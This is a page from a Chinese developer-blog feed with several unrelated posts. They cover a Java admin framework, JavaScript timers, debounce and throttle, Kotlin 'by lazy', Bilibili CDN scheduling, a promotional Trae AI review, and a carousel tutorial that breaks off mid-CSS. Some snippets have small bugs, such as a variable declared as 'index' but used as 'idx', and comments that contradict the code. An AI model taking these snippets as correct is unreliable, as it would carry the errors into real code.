例如 过期时间 最大空闲时间 组最大长度等 只需一个注解即可完成数据自动缓存
需手动编写Redis代码逻辑
ORM框架 采用 Mybatis-Plus 基于对象几乎不用写SQL全java操作 功能强大插件众多
例如多租户插件 分页插件 乐观锁插件等等
采用 Mybatis 基于XML需要手写SQL
SQL监控 采用 p6spy 可输出完整SQL与执行时间监控 log输出 需手动拼接sql与参数无法快速查看调试问题
数据分页 采用 Mybatis-Plus 分页插件
框架对其进行了扩展 对象化分页对象 支持多种方式传参 支持前端多排序 复杂排序
采用 PageHelper 仅支持单查询分页 参数只能从param传 只能单排序 功能扩展性差 体验不好
数据权限 采用 Mybatis-Plus 插件 自行分析拼接SQL 无感式过滤
只需为Mapper设置好注解条件 支持多种自定义 不限于部门角色
采用 注解+aop 实现 基于部门角色 生成的sql兼容性差 不支持其他业务扩展
生成sql后需手动拼接到具体业务sql上 对于多个Mapper查询不起作用
数据脱敏 采用 注解 + jackson 序列化期间脱敏 支持不同模块不同的脱敏条件
支持多种策略 如身份证、手机号、地址、邮箱、银行卡等 可自行扩展
数据加解密 采用 注解 + mybatis 拦截器 对存取数据期间自动加解密
支持多种策略 如BASE64、AES、RSA、SM2、SM4等
接口传输加密 采用 动态 AES + RSA 加密请求 body 每一次请求秘钥都不同大幅度降低可破解性
数据翻译 采用 注解 + jackson 序列化期间动态修改数据 数据进行翻译
支持多种模式: 映射翻译 直接翻译 其他扩展条件翻译 接口化两步即可完成自定义扩展 内置多种翻译实现
多数据源框架 采用 dynamic-datasource 支持市面大部分数据库
通过yml配置即可动态管理异构不同种类的数据库 也可通过前端页面添加数据源
支持spel表达式从请求头参数等条件切换数据源
基于 druid 手动编写代码配置数据源 配置繁琐 支持性差
多数据源事务 采用 dynamic-datasource 支持多数据源不同种类的数据库事务回滚 不支持
数据库连接池 采用 HikariCP Spring官方内置连接池 配置简单 以性能与稳定性闻名天下 采用 druid bug众多 社区维护差 活跃度低 配置众多繁琐性能一般
数据库主键 采用 雪花ID 基于时间戳的 有序增长 唯一ID 再也不用为分库分表 数据合并主键冲突重复而发愁 采用 数据库自增ID 支持数据量有限 不支持多数据源主键唯一
WebSocket协议 基于 Spring 封装的 WebSocket 协议 扩展了Token鉴权与分布式会话同步 不再只是基于单机的废物
SSE推送 采用 Spring SSE 实现 扩展了Token鉴权与分布式会话同步
序列化 采用 Jackson Spring官方内置序列化 靠谱!!! 采用 fastjson bugjson 远近闻名
分布式幂等 参考美团GTIS防重系统简化实现(细节可看文档) 手动编写注解基于aop实现
分布式锁 采用 Lock4j 底层基于 Redisson
分布式任务调度 采用 SnailJob 天生支持分布式 统一的管理中心 支持多种数据库 支持分片重试DAG任务流等 采用 Quartz 基于数据库锁性能差 集群需要做很多配置与改造
文件存储 采用 Minio 分布式文件存储 天生支持多机、多硬盘、多分片、多副本存储
支持权限管理 安全可靠 文件可加密存储
采用 本机文件存储 文件裸漏 易丢失泄漏 不支持集群有单点效应
云存储 采用 AWS S3 协议客户端 支持 七牛、阿里、腾讯 等一切支持S3协议的厂家 不支持
短信 采用 sms4j 短信融合包 支持数十种短信厂家 只需在yml配置好厂家密钥即可使用 可多厂家共用 不支持
邮件 采用 mail-api 通用协议支持大部分邮件厂商 不支持
接口文档 采用 SpringDoc、javadoc 无注解零入侵基于java注释
只需把注释写好 无需再写一大堆的文档注解了
采用 Springfox 已停止维护 需要编写大量的注解来支持文档生成
校验框架 采用 Validation 支持注解与工具类校验 注解支持国际化 仅支持注解 且注解不支持国际化
Excel框架 采用 Alibaba EasyExcel 基于插件化
框架对其增加了很多功能 例如 自动合并相同内容 自动排列布局 字典翻译等
基于 POI 手写实现 功能有限 复杂 扩展性差
工作流支持 支持各种复杂审批 转办 委派 加减签 会签 或签 票签 等功能
工具类框架 采用 Hutool、Lombok 上百种工具覆盖90%的使用需求 基于注解自动生成 get set 等简化框架大量代码 手写工具稳定性差易出问题 工具数量有限 代码臃肿需自己手写 get set 等
监控框架 采用 SpringBoot-Admin 基于SpringBoot官方 actuator 探针机制
实时监控服务状态 框架还为其扩展了在线日志查看监控
链路追踪 采用 Apache SkyWalking 还在为请求不知道去哪了 到哪出了问题而烦恼吗
用了它即可实时查看请求经过的每一处每一个节点
代码生成器 只需设计好表结构 一键生成所有crud代码与页面
降低80%的开发量 把精力都投入到业务设计上
框架为其适配MP、SpringDoc规范化代码 同时支持动态多数据源代码生成
代码生成原生结构 只支持单数据源生成
部署方式 支持 Docker 编排 一键搭建所有环境 让开发人员从此不再为搭建环境而烦恼 原生jar部署 其他环境需手动下载安装 自行搭建
项目路径修改 提供详细的修改方案文档 并为其做了一些改动 非常简单即可修改成自己想要的 需要做很多改造 文档说明有限
国际化 基于请求头动态返回不同语种的文本内容 开发难度低 有对应的工具类 支持大部分注解内容国际化 只提供基础功能 其他需自行编写扩展
代码单例测试 提供单例测试 使用方式编写方法与maven多环境单测插件 只提供基础功能 其他需自行编写扩展
Demo案例 提供框架功能的实际使用案例 单独一个模块提供了很多很全

本框架与RuoYi的业务差异

业务 功能说明 本框架 RuoYi
租户管理 系统内租户的管理 如:租户套餐、过期时间、用户数量、企业信息等 支持
租户套餐管理 系统内租户所能使用的套餐管理 如:套餐内所包含的菜单等 支持
客户端管理 系统内对接的所有客户端管理 如: pc端、小程序端等
支持动态授权登录方式 如: 短信登录、密码登录等 支持动态控制token时效
支持
用户管理 用户的管理配置 如:新增用户、分配用户所属部门、角色、岗位等 支持 支持
部门管理 配置系统组织机构(公司、部门、小组) 树结构展现支持数据权限 支持 支持
岗位管理 配置系统用户所属担任职务 支持 支持
菜单管理 配置系统菜单、操作权限、按钮权限标识等 支持 支持
角色管理 角色菜单权限分配、设置角色按机构进行数据范围权限划分 支持 支持
字典管理 对系统中经常使用的一些较为固定的数据进行维护 支持 支持
参数管理 对系统动态配置常用参数 支持 支持
通知公告 系统通知公告信息发布维护 支持 支持
操作日志 系统正常操作日志记录和查询 系统异常信息日志记录和查询 支持 支持
登录日志 系统登录日志记录查询包含登录异常 支持 支持
文件管理 系统文件展示、上传、下载、删除等管理 支持
文件配置管理 系统文件上传、下载所需要的配置信息动态添加、修改、删除等管理 支持
在线用户管理 已登录系统的在线用户信息监控与强制踢出操作 支持 支持
定时任务 运行报表、任务管理(添加、修改、删除)、日志管理、执行器管理等 支持 仅支持任务与日志管理
代码生成 多数据源前后端代码的生成(java、html、xml、sql)支持CRUD下载 支持 仅支持单数据源
系统接口 根据业务代码自动生成相关的api接口文档 支持 支持
服务监控 监视集群系统CPU、内存、磁盘、堆栈、在线日志、Spring相关配置等 支持 仅支持单机CPU、内存、磁盘监控
缓存监控 对系统的缓存信息查询,命令统计等。 支持 支持
在线构建器 拖动表单元素生成相应的HTML代码。 支持 支持
使用案例 系统的一些功能案例 支持 不支持

 

by 来源: 投稿 at January 24, 2025 05:19 AM

juejin career

requestAnimationFrame、requestIdleCallback、setTimeout、nextTick

前言

有时候刷抖音看文章,时不时会碰到下面的一些字样,并且有些看着花里胡哨的,这里收集了他们的一些信息,合在一起记录一下,相信有用到的时候,一看就能分清楚,并分清他们

requestIdleCallback、requestAnimationFrame、setTimeout、setInterval、setImmediate、nextTick

requestAnimationFrame

动画帧回调函数 window.requestAnimationFrame()  方法会告诉浏览器你希望执行一个动画,它要求浏览器在下一次重绘之前,调用用户提供的回调函数,且仅仅回调一次,需要一直调用则需要继续调用 requestAnimationFrame 函数

//可以通过参数避免无限递归
let index = 0
function handler() {
    idx++
    if (idx < 6000) {
        window.requestAnimationFrame(handler);
    }
}

window.requestAnimationFrame(handler);

此方法一般用于做动画,平时操作用的不多,也不会参与后面的其他几个时机对比

requestIdleCallback

空闲调用函数 window.requestIdleCallback()

通过该方法插入一个函数,这个函数将在浏览器空闲时期被调用,这使开发者能够在主事件循环上执行后台和低优先级工作,而不会影响延迟关键事件,如动画和输入响应。函数一般会按先进先调用的顺序执行,然而,如果回调函数指定了执行超时时间timeout,则有可能为了在超时前执行函数而打乱执行顺序。

const idle = window.requestIdleCallback((deadline) => {
    console.log("requestIdleCallback");
});

//带有 options
const idle = window.requestIdleCallback((deadline) => {
    console.log("requestIdleCallback");
}, {
    timeout: 100,
});

//取消该事件
window.cancelIdleCallback(idle); 

ps:由于是空闲执行,所以其优先级极低,甚至可以认为最低(如果不超时的话),优先级设置还在宏任务之后,但如果宏任务中间有等待时间,其也是会先执行的,其不队列的顺序中,当没有可执行任务时,其就会直接执行

setTimeout、setInterval、setImmediate、nextTick

setTimeout、setInterval

这两个也是我们常用的时间函数了,分别是延迟一定时间调用、保持一定间隔时间调用(不会主动停止,需要自己取消),生成任务也就是很多人所说的宏任务,优先级比微任务(promise、async)要低

//timeout 延迟500ms后执行,执行完毕后结束,可以提前取消
const timeout = setTimeout(() => {}, 500);
clearTimeout(timeout);

//interval每间隔 500ms 后执行,直到主动取消
const interval = setInterval(() => {}, 500);
clearInterval(interval);

ps:虽然也有使用 setInterval 做动画的,但是由于其特性,会被动暂停,也容易卡事件导致卡顿,可能更适合做一些简单滚屏的操作

setImmediate(nodeJS环境使用)

setImmediate 在IO事件回调之后立即执行的回调函数,其优先级基本在 setTimeout 前后,一般不参与比较

//没有等待函数
setImmediate(() => {
  console.log('This will be executed in the next iteration of the event loop');
});

在浏览器环境中,可以使用window.setTimeout 来实现类似的效果。然而,setImmediate 并不是标准的 Web API,在 nodeJS 环境使用,所以在跨浏览器开发时,使用 setTimeout 来代替 setImmediate

nextTick

浏览器 nextTick nextTick 通常会在当前微任务队列中的其他任务执行完毕后(可以理解为微任务队列的末尾),立即执行回调函数,优先级比较低,和 nodejs 有些不一样(vue 中直接 this.$nextTick,React 需要 从 process 中导出 nextTick,然后使用 nextTick)

nodejs的 process.nextTick Node.js 中的 process.nextTick 具有更高的优先级,会在微任务队列中的其他任务之前执行‌,回调函数会在当前执行栈清空后立即执行,执行优先级非常高,和浏览器的有些不一样

process.nextTick(() => {
    console.log("process.nextTick");
});

requestIdleCallback、setTimeout、nextTick 对比

这边就是用 requestIdleCallback、setTimeout、setImmediate、process.nextTick 他们是哪个做一下简单的对比,分别打印

下面是浏览器的执行环境,可以看出浏览器的 nextTick 执行时机在 promise、setTimeout之间

import {nextTick} from "process"

const func1 = async () => {
    console.log(1)
    await func2()
}

const func2 = async () => {
    console.log(2);
};

const func3 = async () => {
    console.log(3);
};

const main = async () => {
    window.requestIdleCallback((deadline) => {
        console.log("requestIdleCallback");
    });
    setTimeout(() => {
        console.log("setTimeout");
    }, 0);
    nextTick(() => {
        console.log("nextTick");
    });
    await func1()
    await func3()
};

main()

1
2
3
nextTick
setTimeout
requestIdleCallback

下面使用 nodejs 执行环境,发现 process.nextTick 的执行时机已然不同(可以搭配循环测试一下, 这里不作为重点了)

const func1 = async () => {
    console.log(1)
    await func2()
}

const func2 = async () => {
    console.log(2);
};

const func3 = async () => {
    console.log(3);
};

const main = async () => {
    globalThis.requestIdleCallback((deadline) => {
        console.log("requestIdleCallback");
    });
    setTimeout(() => {
        console.log("setTimeout");
    }, 0);
    process.nextTick(() => {
        console.log("process.nextTick");
    });
    await func1()
    await func3()
};

main()

// vscode 的  Code Runner 执行结果
打印结果如下所示
1
2
process.nextTick
3
setTimeout
requestIdleCallback

by 剪刀石头布啊 at January 24, 2025 05:08 AM

防抖和节流

前言

可能很多人都听过防抖和节流,也是用过,但是还是有不少人不了解他们两个的,甚至有些不明白他们之间的区别,本篇文章就讲解一下他们的区别,还有实现过程

防抖:防止页面抖动抽搐的一个简称,意思是,当我们同时进行多个异步操作时,如果不加以处理,可能会出现多次请求处理,出现混乱或卡顿,因此为了避免这种现象,设置一个延迟,等待一定时间后才会执行,等待时间内会刷新等待时间,并更新执行函数

节流:防止一个功能调用频率过高,也是优化性能的一种手段,这也是服务器用的比较多的手段,能够降低服务器峰值,节省性能,也能一定程度减少人为攻击,具体操作时,执行前设置一个延迟,一定时间范围内,阻拦新到来的任务,时间结束后,开发任务执行,并设置拦截,以此往复

区别:他们都能够明显降低、减少函数执行次数,优化本地性能;不同的是防抖会忽略延时期间内的其他任务,只执行延时期间的最后一次任务,执行后,新任务到来继续延迟等待执行,更偏向于前端;节流,只执行第一个,间隔时间内的其他任务执行阻断,间隔时间后后,执行下一个新到来的任务,在阻断,更偏向于服务端

防抖函数 debounce

多次频繁执行一个操作时,为了避免卡顿和相互之间的干扰,所以出现了防抖操作,例如:搜索

防抖的操作,就是加入一个延迟,当新操作到来时,取消前面还未执行的操作,更新为最新的

//防抖
function debounce(fn, duration) {
    let timeId = null
    return function (...args) {
        clearTimeout(timeId);
        let self = this
        timeId = setTimeout(() => {
            fn.apply(self, args)
        }, duration);
    }
}

测试一下

function search(text) {
    console.log('search:', text)
}

//测试很多search
function testMoreSearch() {
    const debunceSearch = debounce(search, 100)
    for (let idx = 0; idx < 100; idx++) {
        search("第" + (idx + 1) + "个");
    }
}
//执行返现打印了非常多次
testMoreSearch() //search: 第1~1000个

//优化一下
function testDebunceMoreSearch() {
    const debunceSearch = debounce(search, 100)
    for (let idx = 0; idx < 1000; idx++) {
        debunceSearch("第" + (idx + 1) + "个");
    }
}
//发现只打印了最后一次最新的 
testDebunceMoreSearch() //search: 第1000个

节流函数 throttle

多次频繁执行一个操作时,为了避免一段时间内的操作频率过高,会在一段时间内屏蔽掉下一个操作,例如:服务端接口限流

节流的操作,当一个操作到来时,加入一个延时,并继续执行当前操作,当延时这段期间有新操作到来时,阻止其执行,直到延时开放即可

//节流
function throttle(fn, duration) {
    let pre = Number.MIN_SAFE_INTEGER
    return function (...args) {
        const current = new Date().getTime()
        //与上一次的时间间隔小于设定时间,直接结束
        //pre默认为0,第一次间隔一定会大于duration,时间若设定时间大于这个基本没有意义(时间都溢出了难绷😂)
        if (current - pre < duration) return;
        pre = current
        fn.apply(this, args);
    }
}

测试一下

function search(text) {
    console.log("search:", text);
}

function testThrottleMoreSearch() {
    //对 search函数 加入节流
    const debunceSearch = throttle(search, 100);
    for (let idx = 0; idx < 1000; idx++) {
        debunceSearch("第" + (idx + 1) + "个");
    }
}

//这个案例只会打印第一个,当然要是中间等待时间超过了,函数执行完毕了,还会后续打印
testThrottleMoreSearch() // search: 第1个

最后

防抖和节流在我们平时开发中,还是会经常碰到的,算是普通开发者也会碰到的问题了,因此掌握也是有必要的

实际上根基好的同学,碰到类似场景,一说优化,基本上自然而然的会用到此类效果,只不过可能没那么在意,这只不过是总结出来的一些实现效果罢了

就比如设计模式那么多,老的开发者自然而然就用上了,甚至根本不需要参考什么设计模式,遇到场景自然而然就用上了,有些规范是实际开发过程中抽象出来的罢了😂

by 剪刀石头布啊 at January 24, 2025 05:06 AM

hackernews

juejin android

拆解Kotlin中的by lazy:从语法糖到底层实现

在Kotlin开发中,by lazy 是一个使用频率极高的语法特性,它不仅能够优化代码结构,提高性能,还能让我们的代码更加简洁优雅。本文将从实际应用场景出发,深入探讨 by lazy 的工作原理,并详细解析 bylazy 的单独使用场景及其组合使用的优势。

什么是by lazy

by lazy 是Kotlin中一个强大的属性委托机制,它主要用于实现属性的延迟初始化。所谓延迟初始化,就是在第一次访问该属性时才进行初始化,而不是在对象创建时就立即初始化。这种机制在很多场景下都能带来性能优势,特别是当属性的初始化成本较高或者可能不会被使用时。

基本使用示例

class MainActivity : AppCompatActivity() {
    private val viewModel by lazy { FooApplication.pollingViewModel }
}

这段代码看似简单,但实际上包含了很多重要的特性:

  1. 线程安全性:默认情况下是同步的,确保只初始化一次
  2. 值缓存:初始化后的值会被缓存,后续访问直接返回缓存的值
  3. 代码简洁:不需要显式处理null检查和初始化逻辑

揭秘by lazy的底层实现

如果不使用 by lazy 这个语法糖,要实现相同的功能,代码会是这样的:

class MainActivity : AppCompatActivity() {
    private var _viewModel: PollingViewModel? = null
    
    private val viewModel: PollingViewModel
        get() {
            if (_viewModel == null) {
                synchronized(this) {
                    if (_viewModel == null) {
                        _viewModel = FooApplication.pollingViewModel
                    }
                }
            }
            return _viewModel!!
        }
}

这个实现展示了 by lazy 的核心原理:

  1. 使用可空的后备字段存储实际值
  2. 通过getter方法控制初始化逻辑
  3. 使用双重检查锁定模式确保线程安全
  4. 缓存初始化后的值避免重复计算

by和lazy的独立使用

lazy的单独使用

lazy 是一个函数,它返回一个 Lazy<T> 类型的对象。单独使用时,需要通过 .value 属性来访问实际值:

class Example {
    private val lazyValue: Lazy<String> = lazy {
        println("执行初始化...")
        "Hello, Kotlin!"
    }
    
    fun test() {
        println(lazyValue.value)  // 首次访问,触发初始化
        println(lazyValue.value)  // 直接返回缓存的值
    }
}

by关键字的独立使用

by 是Kotlin的委托关键字,它可以与多种委托模式配合使用:

class Example {
    // 属性变化监听
    private var name: String by Delegates.observable("初始值") { _, old, new ->
        println("属性值从 $old 变更为 $new")
    }
    
    // 非空属性延迟初始化
    private var age: Int by Delegates.notNull()
    
    // 将属性委托给Map
    private val map = mapOf("key" to "value")
    private val value: String by map
}

by lazy的组合优势

bylazy 组合使用是最常见且最优雅的方式:

class Example {
    private val computedValue by lazy {
        println("计算中...")
        expensiveOperation()
    }
    
    private fun expensiveOperation(): String {
        // 模拟耗时操作
        Thread.sleep(1000)
        return "计算结果"
    }
}

组合使用的优势:

  1. 代码简洁:不需要显式声明Lazy类型和调用.value
  2. 使用方便:直接像普通属性一样访问
  3. 保持了所有lazy的特性:线程安全、值缓存等
  4. 符合Kotlin的设计哲学:简洁而强大

实际应用场景

1. ViewModel初始化

class MainActivity : AppCompatActivity() {
    private val viewModel by lazy { ViewModelProvider(this).get(MainViewModel::class.java) }
}

2. 重量级对象延迟加载

class ImageProcessor {
    private val imageCache by lazy { HashMap<String, Bitmap>() }
}

3. 配置对象初始化

class Configuration {
    private val settings by lazy {
        context.getSharedPreferences("app_settings", Context.MODE_PRIVATE)
    }
}

性能考虑

使用 by lazy 时需要注意几个性能相关的点:

  1. 初始化成本:虽然延迟初始化可以推迟成本,但初始化时的开销仍然存在
  2. 内存占用:lazy对象会持有初始化lambda的引用
  3. 线程安全开销:默认的同步模式会有一定的性能开销

可以通过配置lazy的模式来优化性能:

private val value by lazy(LazyThreadSafetyMode.PUBLICATION) { 
    // 使用PUBLICATION模式可能会执行多次,但性能更好
    computeValue() 
}

最佳实践

  1. 使用场景选择

    • 当初始化成本高时使用lazy
    • 当属性可能不被使用时使用lazy
    • 需要线程安全时使用默认模式
  2. 代码风格

    • 保持lambda块的简洁
    • 避免在lazy初始化中引用可变状态
    • 合理使用可见性修饰符
  3. 性能优化

    • 根据实际需求选择合适的线程安全模式
    • 注意内存泄漏风险
    • 避免过度使用导致初始化链过长

总结

Kotlin的 by lazy 是一个强大而优雅的语言特性,它通过组合 by 关键字和 lazy 函数,为我们提供了一种简洁的属性延迟初始化方案。了解其底层实现和工作原理,可以帮助我们更好地使用这一特性,写出更高质量的代码。

在实际开发中,我们应该根据具体场景选择合适的使用方式,既可以享受语法糖带来的便利,也要注意性能和内存的优化。通过合理使用 by lazy,我们可以让代码更加简洁、高效、安全。

参考资料

  1. Kotlin官方文档:属性委托
  2. Kotlin源码:Lazy.kt
  3. Android开发最佳实践指南
  4. Kotlin核心编程

by 火车叼位 at January 24, 2025 04:10 AM

juejin article

视频 CDN 融合资源的调度策略探索落地

背景介绍

随着 B 站直播常量用户带宽需求增多,结合自身的直播流模型,进一步推动了 CDN 边缘节点的基建工作,这些节点具有很大的异构性,能力差距大,价格不一,计费方式不同。如何利用这些异构资源,在保障稳定性的前提下,在成本和质量之间做好动态平衡,是我们需要解决的问题。

调度体系设计

整体调度架构体系设计如下,采用分治思想,问题拆解,分层解决。

每一层都有一个要解决的核心问题:

  • 成本调度层:
  • 按照资源质量与带宽单价将CDN 边缘节点分类为多个资源池。
  • 对于SLO 质量强保障的资源,根据 CDN 边缘节点的不同计费方式和单价,结合用户需求,计算出每个边缘节点的可用带宽;
  • 对于SLO 质量弱保障的资源,采用启发式策略规划+基于业务质量的动态调整。
  • 资源调度层:根据不同业务的需求带宽,将成本调度计算出来的每个边缘节点的可用带宽分配给不同业务。
  • 业务调度:业务更细粒度的调度策略,如:直播按流名调度、点播按稿件Id调度。决定了每个用户在访问某个流名/稿件时,应该访问的边缘节点。
  • 智能调度网关层:作为整个调度系统的策略输出,对接不同业务,给予不同策略的节点覆盖列表

本文主要介绍成本调度层、资源调度层。

成本调度层

资源计费方式介绍

目前B站 CDN 边缘节点分为以下几种计费方式:

  • 月95
  • 按照每月的流量使用情况结算费用。对于某个服务器,每五分钟进行一次流量统计, 记录这个五分钟内的流量峰值,将每五分钟内的流量峰值记录下来,取30天内最高的5%的峰值作为计费的依据。即将30天内的流量使用情况按照从高到低排列,取排名前5%的峰值作为计费基准。
  • 日95月平均
  • 通过计算每日的95峰值带宽,然后求全月的平均值来进行计费。
  • 包端口:在某带宽上限内使用的实际带宽,收费价格一致。

核心思想

我们按照资源质量与带宽单价分类为多个资源池,根据资源池类型不同,采取不同的资源规划策略。

对于资源 SLO 质量强保障的资源,根据节点不同的计费方式,充分利用带宽,提升带宽复用率;

对于资源 SLO 质量弱保障的资源,在保证用户 SLO 质量的前提下,尽可能提高资源利用率;

策略模型

输入

  • supply:B站所有边缘 CDN 节点的最大能力、计费方式、所在区域、运营商
  • demand:全国不同区域、运营商的用户需求带宽(不区分业务)

输出

  • 每个CDN边缘节点可以使用的最大带宽(成本线+冲顶资源)

  • 每个CDN边缘节点覆盖哪个区域+运营商的用户

  • 当天可以用于冲顶的CDN边缘节点列表;

处理逻辑

区域借调

解决问题:区域内供需不均衡

下图分别为用户分布和边缘节点资源分布,可见边缘节点在一些区域的能力非常冗余,而其另一些区域能力过度欠缺。这种分布不匹配的状况导致一部分区域的边缘节点资源利用率打不上去,另一部分区域的边缘节点资源利用率过高。

我们将这个问题归类为最大流问题。

目的:将资源充足的区域的节点借调到资源不够的区域。

输入:全国所有区域的资源供给情况。

输出:区域A应该借给区域B多少资源。

执行完借调策略后,我们可以得到每个边缘节点可以覆盖的区域,全国供需基本已经达到一个相对均衡的状态,即:每个区域的supply >= 该区域的demand。

成本规划(适用于SLO 质量强保障的资源)

基于所有边缘CDN节点的最大能力、计费方式、所在区域、运营商数据进行建模,目标函数是最小化所有边缘CDN节点的带宽费用总和。由于不同节点的单价不同,在大于保底利用率的前提下,按照单价梯度控制节点资源的带宽利用率;同时充分利用 95 计费节点的冲顶时间。

启发式资源规划(适用于SLO 质量弱保障的资源)

核心:在保证用户SLO的前提下,尽可能提高资源利用率

  • Integrated:
  • 收集多轮的SLO、资源利用率的反馈数据,使用 contextual bandit算法,给出资源池预期全局资源利用率;
  • Dispatching:
  • 资源池内的节点进行升/降线,目的是让整个资源池的资源利用率等于integrated模块给的”预期全局资源利用率“。
  • 节点升降线原则:SLO差的节点降线;SLO好的节点升线。

资源调度

核心思想

在成本调度的基础上,定量的进一步对节点的冲顶资源和非冲顶资源做业务级别的划分;

目标:

  • 满足互斥性:每个CDN边缘节点资源大部分分给同一个业务

  • 满足覆盖性:大区内每个业务都有尽可能多的节点去承载

策略模型

输入

  • demand:晚高峰和非晚高峰时期,不同业务、区域、运营商的用户带宽
  • supply:成本调度的输出数据

输出

每个CDN边缘节点可以给不同业务(如:点播、直播、动态加速等,目前直接入了直播业务,正在建设点播业务的接入)使用的最大带宽。

处理逻辑

详细处理逻辑如下:

1.  demand按 业务区域运营商划分(目前业务只有直播)

2.  将supply按可用资源从大到小排序(目前supply只是直播资源池)

3.  开始装箱

在直播的落地效果

  • 带宽复用率提升43.5%:

  • 同大区覆盖率提升32.61%:
  • 新策略灰度前同大区覆盖率:

  • 新策略上线后同大区覆盖率:

  • 启发式资源规划,在保障直播业务SLO指标数据情况下,动态调整资源带宽利用率,资源池的卡顿率突刺明显下降:

-End-

作者丨仲昭雪、苏顾云、王喜

by 哔哩哔哩技术 at January 24, 2025 04:02 AM

juejin freebie

重磅首发:国产AI编程助手Trae实测!免费用上Claude是什么体验?

我正在参加Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接:  www.trae.ai/?utm_source…

最近,国产AI编程助手Trae悄然上线,不仅免费提供Claude大模型加持,还自带代码理解和生成能力。本文带你第一手深度体验这款新工具,看看它能否成为你的得力助手!

💡 为什么值得关注Trae?

作为开发者,我们都在寻找能提升开发效率的AI工具。目前市面上最火的编程助手非 GitHub Copilot 和 Cursor 莫属。但是:

  • Cursor Pro 月付 $20,价格不菲
  • Copilot 虽然学生免费,但普通开发者仍需付费
  • 其他国产工具普遍能力有限

而 Trae 的出现,给了我们一个全新的选择 - 完全免费且集成了顶级大模型 Claude!

🔍 实战体验:VSCode项目解析

为了真实测试 Trae 的实力,我直接用 VSCode 这个超大型项目来考验它。

首先,安装好Trae后,我们选中设置,建立索引:

代码结构分析

首先让 Trae 分析整个项目结构,它很快就梳理出了主要模块:

  • 核心运行时
  • 插件系统
  • UI 渲染层
  • ...

效果相当不错,基本框架一目了然。

入口文件定位

不过在定位具体入口文件时,Trae 暴露出了一些问题:

❌ 主进程入口识别错误

❌ 渲染进程入口判断有误

❌ 上下文关联不够充分

我们再深一步,让它从主进程代码梳理下整个的架构:

其实我已经打开主进程入口的文件了,但是貌似RAG只有这个文件,所以它只分析了这个文件的代码,并没有再进一步分析其他文件得出更进一步的结论。

对比 Cursor,后者能更准确地指出具体方法和执行流程:

我们进一步追问一下,它是怎么打开第一个窗口的?

遗憾的是,它再次给出了错误的回答,实际上,打开窗口的文件是在app文件,并不是main文件,它还是在main文件里面寻找答案。我们再对比一下Cursor:

很明显Cursor一下就找到了关键文件和入口,并给出了详细的方法名。

🚀 简单项目表现出色

也许VSCode源码太复杂了,我们换个简单点的,ahooks源码,Trae 的表现令人惊喜:

✅ 准确梳理出所有 hooks

✅ 详细解释实现原理

✅ 回答深度问题时逻辑清晰

效果还不错,只是相比Cursor少了一些可以定位跳转的快捷能力,比较影响到体验。

我们稍微下探一个问题:

这里回答的就很好了,得益于Claude强大能力,这个是非常符合预期的。

🎨 最惊艳的功能:Builder能力

我们用截图的方式,让Trae帮我们实现一个页面:

实现的效果非常不错,并且Trae做的比较好的一点是直接支持预览,体验非常丝滑。

项目用React和Antd来做,也没有毛病。

我们再试一下已有项目,让它来修一个小问题:

可以看到,它直接理解了我的主题色问题,并且找到相应的文件并修改好了,预览看起来也完全符合预期,这种即时反馈的体验,不得不说比 Cursor 更胜一筹!

💪 优势与不足

亮点

  • 🆓 免费使用 Claude
  • 🎯 界面构建能力出色
  • 👍 产品体验优于 Cursor

待改进

  • 📉 复杂代码理解深度不足
  • 🔗 上下文关联有待加强

🎯 谁适合使用 Trae?

  1. 预算有限的开发者
  2. 需要快速构建界面的前端工程师
  3. 想尝鲜 AI 编程助手的新手

🌟 结语

作为国产首个集成 Claude 的免费 AI 编程助手,Trae 的首秀可以打 8 分。虽然在深度代码理解上还有进步空间,但其界面构建能力和整体体验已经相当惊艳。

相信随着后续版本更新,Trae 会进一步提升 RAG 水平,为国产 AI 工具树立新标杆!

🌟 写在最后:AI编程时代,你准备好了吗?

看完Trae的测评,相信你也感受到了AI编程工具的迅猛发展。短短一年间,从GitHub Copilot到Claude,从Cursor到Trae,AI工具的迭代速度令人目不暇接。

作为一线开发者,我深深体会到:不懂AI编程的程序员,在未来可能会被淘汰。 但与此同时,盲目跟风、浅尝辄止也无法真正提升自己的竞争力。

过去一年,我在AI编程领域的实践让我意识到:

  • 工具会更新,但方法论是永恒的
  • 个人摸索固然重要,但社群学习效率更高
  • 及早布局AI技能,才能在未来占据先机

正因如此,我创建了一个注重质量的AI编程学习社群。在这里,你将获得:

  • 📚 最新AI编程工具深度评测:不止于Trae,更多隐藏的效率利器
  • 🔍 编程提效实战经验:如何让AI助手提升3倍开发效率
  • 💡 定期技术答疑:解决你在使用AI工具时遇到的各种疑难
  • 🤝 高质量社交:结识同样走在技术前沿的开发者

为了保证交流质量和每位成员的参与感,目前社群所剩名额不多了,如果你:

  • 想在AI浪潮中保持技术领先
  • 渴望掌握AI编程的正确姿势
  • 期待和优秀开发者深度交流

欢迎添加我的wx详聊(公众号同名检索)

by 孟健的AI编程认知 at January 24, 2025 03:41 AM

juejin frontend

手把手带你实现两个基本的轮播动画

前言

在现代的前端开发中,轮播组件是一种常见的交互效果,用于内容切换,相信每个前端同学在刚开始学习前端开发时都实现过或多或少的轮播效果。今天笔者带大家实现两个基本的轮播动画效果——头像轮播与弹幕轮播,设计思路是利用 React 的状态管理和定时器,结合 CSS 动画来实现轮播效果。相关代码已上传到仓库carousel-animation

头像轮播动画

头像轮播动画.gif

可以看到,头像是自动轮播的,并且左边出现和右边轮播会有一个渐变效果。

首先实现这个效果至少需要5张图片,每个图片DOM对应一个类:

const [avatarList, setAvatarList] = useState<string[]>([
'https://img.alicdn.com/bao/uploaded/i2/O1CN01TEnjbR1jxGQKMfnG3_!!0-mtopupload.jpg',
'https://img.alicdn.com/bao/uploaded/i4/O1CN01au1IiC2GwhHQRo1M8_!!0-mtopupload.jpg',
'https://img.alicdn.com/bao/uploaded/i4/O1CN01BeSG5i1mUMJCJvXAx_!!4611686018427385981-0-mtopupload.jpg',
'https://gtms03.alicdn.com/tps/i3/TB1LFGeKVXXXXbCaXXX07tlTXXX-200-200.png',
'https://img.alicdn.com/bao/uploaded/i3/O1CN01v4wLrP1P7h7r8BMwe_!!0-fleamarket.jpg'
]);
const [avatarClass, setAvatarClass] = useState<string[]>([
'fadeInAvatar',
'firstAvatar',
'secondAvatar',
'thirdAvatar',
'fadeOutAvatar'
]);

其中,每个类的CSS如下;

.avatarList {
width: 68px;
height: 28px;
position: relative;
overflow: hidden;
margin: 10px 0;
.avatar {
width: 28px;
height: 28px;
border-radius: 50%;
border: 2px solid #fff;
box-sizing: border-box;
position: absolute;
transition: all 0.4s;
}
.firstAvatar {
transform: translateX(0px);
